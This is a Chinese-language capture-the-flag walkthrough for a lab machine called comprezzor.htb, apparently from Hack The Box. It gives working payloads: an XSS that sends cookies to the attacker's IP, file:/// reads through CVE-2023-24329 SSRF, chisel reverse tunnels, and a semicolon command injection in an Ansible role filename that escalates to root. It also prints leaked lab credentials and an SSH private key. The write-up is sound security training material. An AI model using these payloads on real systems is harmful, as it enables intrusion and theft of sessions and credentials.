总体思路
端口扫描->XSS获取2次cookie->CVE-2023-24329->SSRF->凭证泄露->Ansible漏洞利用
信息收集&端口利用
nmap -sSVC 10.129.53.199
靶机只开放了22和80端口,对80端口进行目录扫描和子域名探测
dirsearch -u comprezzor.htb
gobuster dns -d comprezzor.htb -w=/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
发现三个子域名,先查看主域名信息
是一个LZMA压缩文件的界面,搜索后发现存在相关组件漏洞信息
https://thehackernews.com/2024/03/urgent-secret-backdoor-found-in-xz.html
但是没有利用方式,暂时先放着,访问一下子域名
dashboard.comprezzor.htb
此处需要登录才能够进入dashboard界面,尝试了弱口令和万能密码无果后,尝试使用其注册功能
使用注册的用户登录dashboard,提示说没有足够的权限
report.comprezzor.htb
进来后是一个提交bug的界面
看到表单,立马想到XSS获取cookie值
XSS获取cookie
编辑一段代码,将cookie值反弹到本地监听上
#fetch('http://10.10.14.40:9999/?cookie='+document.cookie)
#ZmV0Y2goJ2h0dHA6Ly8xMC4xMC4xNC40MDo5OTk5Lz9jb29raWU9Jytkb2N1bWVudC5jb29raWUp
<img SRC=x onerror='eval(atob("ZmV0Y2goJ2h0dHA6Ly8xMC4xMC4xNC40MDo5OTk5Lz9jb29raWU9Jytkb2N1bWVudC5jb29raWUp"));' />
python3 -m http.server 9999
本地监听拿到cookie
有了cookie,回到之前的dashboard界面,替换cookie进入
---------------------------------------------更新分界线---------------------------------------------
进入界面后发现adam用户能够更改报告优先级、删除报告和完成报告,能够推断出高优先级的报告是管理员在审核,因此采用和之前一样的方法,先上传一个XSS后,更改报告优先级,获取管理员cookie
等待一段时间后,拿到管理员的cookie值,重新访问dashboard界面
注意到管理员界面有一个Create PDF Report的选项,查看他
这里需要提供一个url,然后会生成一个pdf,猜测存在SSRF漏洞
现在本地开启一个监听,让其下载shell.sh文件
查看其详细信息,版本为wkhtmltopdf 0.12.6
但是经过测试,虽然这个版本号存在漏洞,但是此处无法进一步利用,需要寻找其他突破点
此处的表单需要提供URL进行访问,于是让其访问自己的ip,看看有什么成果
kali:rlwrap nc -lvnp 9000
Report URL:http://ip:9000
CVE-2023-24329&SSRF
返回的数据包中,发现暴露了Python-urllib版本为3.11,搜索相关漏洞,发现存在CVE-2023-24329,原理为:当整个URL以空白字符开头时,urllib.parse会出现解析问题(影响主机名和方案的解析)。可以通过提供以空白字符开头的URL来绕过使用阻止列表实现的任何域或协议过滤方法,成功利用该漏洞可能导致任意文件读取、命令执行或SSRF等。
因此这里在表单中加入空格即可实现任意文件读取
#POC
file:///etc/passwd
可以实现任意文件读取后,使用file:///proc/self/cmdline来查看当前运行的进程
发现当前正在运行app.py,查看其代码
其中有一段app.secret.key字段,但是暂时无法找到利用点
注意到此脚本还导入了其他模块,分别为bludeprints下的index、report、auth和dashboard,直接猜测其源码为py脚本,尝试读取
file:///app/code/blueprints/index/index.py
file:///app/code/blueprints/report/report.py
file:///app/code/blueprints/auth/auth.py
file:///app/code/blueprints/dashboard/dashboard.py
index.py
report.py
auth.py
dashboard.py
在dashboard.py中, 找到了一段ftp的用户名和密码ftp_admin/u3jai8y71s2
但是由于靶机的21端口并没有对外开放,此处还需要利用SSRF进行登录
可以看到其中有三个文件,一一查看
private-8297.key
其是一段ssh私钥
-----BEGIN OPENSSH PRIVATE KEY-----
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
XxwXArPr6+HQe9hZSjI2hjYC2OU=
-----END OPENSSH PRIVATE KEY-----
welcome_note.txt
在welcome_note中也有一段代码,翻译后得知是用来解密的密钥:Y27SH19HDIWD
使用ssh-keygen工具将其解密重设短语并登录
ssh-keygen -p -f id-rsa
查看端口开放情况
netstat -ntlp
发现有4444端口,将其代理到本地查看
#kali
chisel server -p 6150 --reverse
#靶机
./chisel client 10.10.14.40:6150 R:4444:127.0.0.1:4444 R:8080:127.0.0.1:8080
发现是Selenium Grid网站
但是没有什么有用的信息
凭证泄露
回到账户中,当前账户名称为dev_acc,他是一个网络根账户,于是进入/var目录中查找信息
似乎运气不错,在第一个文件夹中就有sql文件和db文件,一开始尝试直接查看users.db文件,发现会乱码,于是使用sqlite3查看
使用hashcat对密文进行解密,具体的模式可以在以下链接中查找
https://hashcat.net/wiki/doku.php?id=example_hashes
能够破解出adam/adam gray,尝试使用其登录ssh,发现失败;测试21端口,发现能够登录
发现其中有runner1相关文件,全部下载并查看
发现运行该脚本需要密码,但是密码缺失后四位
查看.c源文件
其中给出了一段验证密钥的hash值,于是可以通过hash和已有的密钥推断出完整密钥,编写一段脚本
import hashlib
import string
import itertools
#定义密钥和需要爆破的字符
auth_key_hash = "0feda17076d793c2ef2870d7427ad4ed"
auth_code = "UHI75GHI"
#定义爆破长度为4字节,并且类型为数字和字母的组合
char = string.ascii_letters + string.digits
lenth = 4
#定义函数判断结合后的MD5值是否与给定的一致
def judge_md5(unauth_key_hash,known_auth_key_hash):
md5_hash = hashlib.md5(unauth_key_hash.encode()).hexdigest()
return md5_hash == known_auth_key_hash
#调用定义函数,循环遍历寻找符合密钥
for paswd in itertools.product(char,repeat=lenth):
all_key = f"{auth_code}{''.join(paswd)}"
if judge_md5(all_key,auth_key_hash):
print(all_key)
break
得出密钥为UHI75GHINKOP
Ansible漏洞利用
接下来分析runner1文件的作用
查看代码,发现该文件主要执行的是ansible-playbook的命令,这里涉及到了另外一个组件Ansible,其是一个开源自动化引擎,可自动执行配置、配置管理、应用程序部署等流程,其包含了以下函数:Global Definitions、Authentication、Listing Playbooks、Running a Playbook、Installing a Role和Main Program Logic
Listing Playbooks函数会扫描PLAYBOOK_LOCATION目录中以.yml结尾的文件并列出
Running a Playbook会获取playbook文件的名称,构造一个命令行以使用ansible-playbook,并使用该函数执行命令system
Main Program Logic函数中处理命令行参数并确定操作模式,主要的操作请求有:list、run和install这几点均会在后面提及
查找与playbook相关的文件
find / -name playbook* 2>/dev/null
该文件存在/opt目录下,同时该目录也是应用程序的默认目录,进入并查看
这里能看还有一个runner2的文件,但是只有sys_adm组用户才能访问,继续进行文件枚举
幸运的是,在/var/log/suricata文件夹中找到了有关lopez用户的登录凭证,Suricata是一款开源网络检测工具,能够捕捉到登录信息
#在所有.gz文件中查找lopez用户的登录情况
zgrep -i lopez *.gz
查看登录成功的那一段,找到lopez用户的登录凭证为lopez/Lopezz1992%123,用其登录到ssh
sudo查看可执行的命令
发现lopez可以执行runner2命令,并且其也是sys-adm用户组成员
查看runner2的权限,发现均为root,意味着只要找到runner2的利用方式就能拿到root权限
这里使用IDA对其进行分析
分析后得知其接收的参数为.json文件,并且需要包含role_file和auth_code,再结合runner1文件,可以得出最终的利用方式为
{
"run":{
"action":"list|run|install"
"auth_code":"the_auth_key"
}
}
先尝试list动作
能够成功执行,继续尝试run函数是否能够运行
结果不好,执行失败
在前面提到过,Running a Playbook使用system执行shell命令,因此此处可能存在命令注入,在IDA中查看函数
发现其参数有:%s -i %s %s%s,该漏洞在于如果攻击者可以控制进入的字符串的任何部分,就可以制作包含shell元字符或控制字符(、、、等)的文件名或路径。当执行构造的命令时,shell将解释这些元字符,允许执行任意命令,但是我们没有在/opt/playbook下写入的权限
幸运的是,在installRole函数上又有一个利用点
#installRole
void installRole(const char *roleURL) {
char install_command[1024];
snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
system(install_command);
}
现在我们可以创建一个假的.tar.gz并修改其名来执行任意命令,需要注意的是,/usr/bin/ansible-galaxy会验证其是否是有效的压缩文件,因此必须采用模板来生成
https://github.com/coopdevs/sys-admins-role/archive/v0.0.3.tar.gz
curl http://10.10.14.40:9999/sys-admins-role-0.0.3.tar.gz -o sys-admins-role-0.0.3.tar.gz
mv sys-admins-role-0.0.3.tar.gz admin.tar.gz\;bash
再次编辑json文件,并修改role_file为刚刚的压缩包名
{
"run":{
"action":"install"
"role_file":"admin.tar.gz;bash"
}
"auth_code":"UHI75GHINKOP"
}
运行该json文件
sudo /opt/runner2/runner2 root.json
提权成功